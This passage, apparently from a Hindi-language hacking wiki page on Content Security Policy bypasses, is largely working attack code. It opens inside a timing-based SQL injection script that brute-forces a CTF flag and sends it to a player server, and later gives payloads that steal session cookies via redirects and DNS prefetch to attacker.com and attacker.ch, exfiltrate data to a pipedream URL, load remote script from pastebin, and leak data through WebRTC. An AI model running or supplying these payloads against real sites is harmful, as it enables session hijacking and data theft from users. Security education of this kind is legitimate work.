return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

बुकमार्कलेट के माध्यम से

यह हमला कुछ सामाजिक इंजीनियरिंग का अर्थ है जहां हमलावर उपयोगकर्ता को यह धोखा देता है कि वह ब्राउज़र के बुकमार्कलेट पर एक लिंक को खींचकर छोड़े। यह बुकमार्कलेट हानिकारक जावास्क्रिप्ट को शामिल करेगा जो जब खींचा और छोड़ा जाए या क्लिक किया जाए, तो वर्तमान वेब विंडो के संदर्भ में क्रियान्वित होगा, CSP को छलकर गुजरता है और कुकीज़ या टोकन जैसी संवेदनशील जानकारी चुरा सकता है।

अधिक जानकारी के लिए यहाँ मौजूदा रिपोर्ट देखें.

CSP बाईपास द्वारा CSP की प्रतिबंधन

इस CTF व्रिटअप में, CSP को बाईपास किया गया है जिसमें एक अनुमत आईफ्रेम में एक और संकीर्ण CSP डालकर एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं दी गई थी, जिसके बाद, प्रोटोटाइप पोल्लूशन या डोम क्लॉबरिंग के माध्यम से एक विभिन्न स्क्रिप्ट का दुरुपयोग करने की अनुमति दी गई थी जिससे किसी भी विचारशील स्क्रिप्ट को लोड करने की अनुमति दी गई थी।

आप एक आईफ्रेम का CSP csp विशेषता के साथ प्रतिबंधित कर सकते हैं:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

इस CTF व्रिटअप में, HTML इन्जेक्शन के माध्यम से CSP को और अधिक प्रतिबंधित किया जा सकता था ताकि CSTI को रोकने वाला एक स्क्रिप्ट निषेधित हो और इसलिए सुरक्षा दोष उत्पादनशील हो गया। CSP को HTML मेटा टैग्स का उपयोग करके और इनलाइन स्क्रिप्ट्स को निषेधित करके और उनकी नॉन्स की अनुमति हटाकर और विशेष इनलाइन स्क्रिप्ट को एनेबल करके अधिक प्रतिबंधित किया जा सकता है:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

यदि आप सर्वर को Content-Security-Policy-Report-Only हेडर के साथ प्रतिक्रिया करने के लिए प्रबंधित कर सकते हैं जिसका मान आपके द्वारा नियंत्रित होता है (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर देखा सकते हैं और यदि आप <script> के साथ उस JS सामग्री को लपेटते हैं जिसे आप निकालना चाहते हैं और क्योंकि संभावना है कि unsafe-inline को CSP द्वारा अनुमति नहीं है, तो यह एक CSP त्रुटि को ट्रिगर करेगा और स्क्रिप्ट का एक हिस्सा (संवेदनशील जानकारी शामिल है) Content-Security-Policy-Report-Only से सर्वर को भेज दिया जाएगा।

उदाहरण के लिए इस CTF व्रिटअप को देखें.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP और आईफ्रेम के साथ जानकारी लीक करना

एक iframe बनाया जाता है जो एक URL की ओर पोइंट करता है (हम इसे https://example.redirect.com नाम देते हैं) जो CSP द्वारा अनुमति दी गई है।
इस URL फिर एक गुप्त URL (उदाहरण के लिए, https://usersecret.example2.com) पर रीडायरेक्ट होता है जो CSP द्वारा अनुमति नहीं है।
securitypolicyviolation इवेंट को सुनकर, blockedURI प्रॉपर्टी को कैप्चर किया जा सकता है। यह प्रॉपर्टी ब्लॉक हुए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL ने रीडायरेक्ट किया।

यह दिलचस्प है कि ब्राउज़र्स जैसे Chrome और Firefox ने CSP के संबंध में आईफ्रेम को हैंडल करने में विभिन्न व्यवहार दिखाया है, जिससे अपरिभाषित व्यवहार के कारण संवेदनशील जानकारी का लीक हो सकता है।

एक और तकनीक में CSP का शोषण करना शामिल है गुप्त सबडोमेन को निर्धारित करने के लिए। यह विधि एक बाइनरी खोज एल्गोरिथ्म पर निर्भर करती है और CSP को ऐसे विशेष डोमेन शामिल करने के लिए समायोजित करने पर। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देशिका को संशोधित करके इन सबडोमेन को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेन का परीक्षण कर सकते हैं। यहां एक स्निपेट दिखाया गया है जो इस विधि को सुविधा प्रदान करने के लिए CSP कैसे सेट किया जा सकता है:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP द्वारा अनुमति दी या ब्लॉक की जाने वाली अनुरोधों का मॉनिटरिंग करके, व्यक्ति गुप्त सबडोमेन में संभावित वर्णों को संक्षेपित कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।

दोनों तकनीकों में CSP के कार्यान्वयन और ब्राउज़र में व्यवहार का शोध किया गया है, जिससे प्रतीत होता है कि दिखाई देने वाली सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी छोड़ सकती है।

यहां से ट्रिक देखें यहां।

HackenProof Discord में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करने के लिए सर्वर में शामिल हों!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ रियल-टाइम समाचार और अंदरूनी दुनिया के माध्यम से तेजी से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें

नवीनतम घोषणाएं नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

CSP को छलने के लिए असुरक्षित प्रौद्योगिकियाँ

PHP प्रतिक्रिया बफर ओवरलोड

PHP को डिफ़ॉल्ट रूप से 4096 बाइट तक की प्रतिक्रिया को बफर करने के लिए जाना जाता है। इसलिए, अगर PHP एक चेतावनी दिखा रहा है, तो चेतावनियों में पर्याप्त डेटा प्रदान करके, प्रतिक्रिया CSP हेडर से पहले भेजी जाएगी, जिससे हेडर को नजरअंदाज किया जाएगा। फिर, तकनीक मुख्य रूप से यही है कि चेतावनियों से प्रतिक्रिया बफर भरें ताकि CSP हेडर न भेजा जाए।

विचार इस व्रिटअप से।

त्रुटि पृष्ठ पुनः लिखें

इस व्रिटअप से लगता है कि एक सीएसपी सुरक्षा को छलने की संभावना थी जिसमें एक त्रुटि पृष्ठ (संभावित रूप से बिना सीएसपी के) लोड करके और उसकी सामग्री को पुनः लिखकर किया जा सकता था।

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

कुछ + 'self' + वर्डप्रेस

SOME एक तकनीक है जो एक पृष्ठ के एंडपॉइंट में XSS (या अत्यंत सीमित XSS) का दुरुपयोग करती है एक ही मूल स्रोत के अन्य एंडपॉइंट का दुरुपयोग करने के लिए। यह एक हमलावर पृष्ठ से विकल्पित एंडपॉइंट को लोड करके किया जाता है और फिर हमलावर पृष्ठ को वास्तविक एंडपॉइंट में रिफ्रेश किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह विकल्पित एंडपॉइंट प्रयोग कर सकता है opener ऑब्ज

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

मेटा टैग

आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह कंटेंट नहीं लीक होगा)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

पेज को तेजी से लोड करने के लिए, ब्राउज़र होस्टनेम को आईपी पते में पूर्व-संकेतित करने जा रहा है और बाद में उन्हें कैश करेगा। आप एक ब्राउज़र को होस्टनेम को पूर्व-संकेतित करने के लिए इस तरह से निर्देशित कर सकते हैं: <link reol="dns-prefetch" href="something.com">

आप इस व्यवहार का दुरुपयोग कर सकते हैं ताकि DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को बाहर ले जाएं:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

एक और तरीका:

यह एक और तरीका है जिससे आप CSP को बाइपास कर सकते हैं।

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

इस से बचने के लिए सर्वर HTTP हेडर भेज सकता है:

X-DNS-Prefetch-Control: off

शायद, यह तकनीक हेडलेस ब्राउज़र्स (बॉट्स) में काम नहीं करती है।

WebRTC

कई पृष्ठों पर आप पढ़ सकते हैं कि WebRTC connect-src नीति की जांच नहीं करता है।

वास्तव में आप एक DNS अनुरोध का उपयोग करके जानकारी लीक कर सकते हैं। इस कोड की जाँच करें:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

एक और विकल्प:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

ऑनलाइन CSP नीतियों की जांच

स्वचालित रूप से CSP बनाना

https://csper.io/docs/generating-content-security-policy

संदर्भ

रियल-टाइम हैक न्यूज़ रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से तेजी से बदलते हैकिंग विश्व में अपड

PreviousCommand Injection NextCSP bypass: self + 'unsafe-inline' with Iframes

Last updated 1 month ago

हेडर्स

संसाधनों की परिभाषा

निर्देशिका

स्रोत

असुरक्षित CSP नियम

'unsafe-inline'

सेल्फ + 'अनसेफ-इनलाइन' आईफ्रेम के माध्यम से

'अनसेफ-इवैल'

strict-dynamic

Wildcard (*)

ऑब्जेक्ट-एसआरसी और डिफ़ॉल्ट-एसआरसी की कमी

फ़ाइल अपलोड + 'self'

थर्ड पार्टी एंडपॉइंट्स + ('unsafe-eval')

Angular का उपयोग करने वाले पेलोड + एक पुस्तकालय जिसमें फ़ंक्शन होते हैं जो window ऑब्ज

Angular XSS from a class name:

एंगुलर XSS एक क्लास नाम से:

Google reCAPTCHA JS को दुरुपयोग करना

तीसरे पक्ष के एंडपॉइंट + JSONP

तीसरे पक्ष का दुरुपयोग

Content Security Policy (CSP) Bypass

Introduction

What is CSP?

Bypass Techniques

रीडायरेक्ट के माध्यम से बायपास

Iframes JS execution

गायब base-uri

AngularJS घटनाएँ

एंगुलरजेएस और व्हाइटलिस्टेड डोमेन

कार्य करने वाले पेलोड:

Bypass के माध्यम से पुनर्निर्देशन

डैंगलिंग मार्कअप के साथ CSP को उल्लंघन करें

'unsafe-inline'; img-src *; via XSS

सेवा कर्मचारियों के साथ

नीति इंजेक्शन

Chrome

Edge

img-src *; via XSS (iframe) - Time attack

बुकमार्कलेट के माध्यम से

CSP बाईपास द्वारा CSP की प्रतिबंधन

JS exfiltration with Content-Security-Policy-Report-Only

CVE-2020-6519

CSP और आईफ्रेम के साथ जानकारी लीक करना

CSP को छलने के लिए असुरक्षित प्रौद्योगिकियाँ

PHP प्रतिक्रिया बफर ओवरलोड

त्रुटि पृष्ठ पुनः लिखें

कुछ + 'self' + वर्डप्रेस

मेटा टैग

DNS Prefetch

एक और तरीका:

WebRTC

ऑनलाइन CSP नीतियों की जांच

स्वचालित रूप से CSP बनाना

संदर्भ

Angular का उपयोग करने वाले पेलोड + एक पुस्तकालय जिसमें फ़ंक्शन होते हैं जो `window` ऑब्ज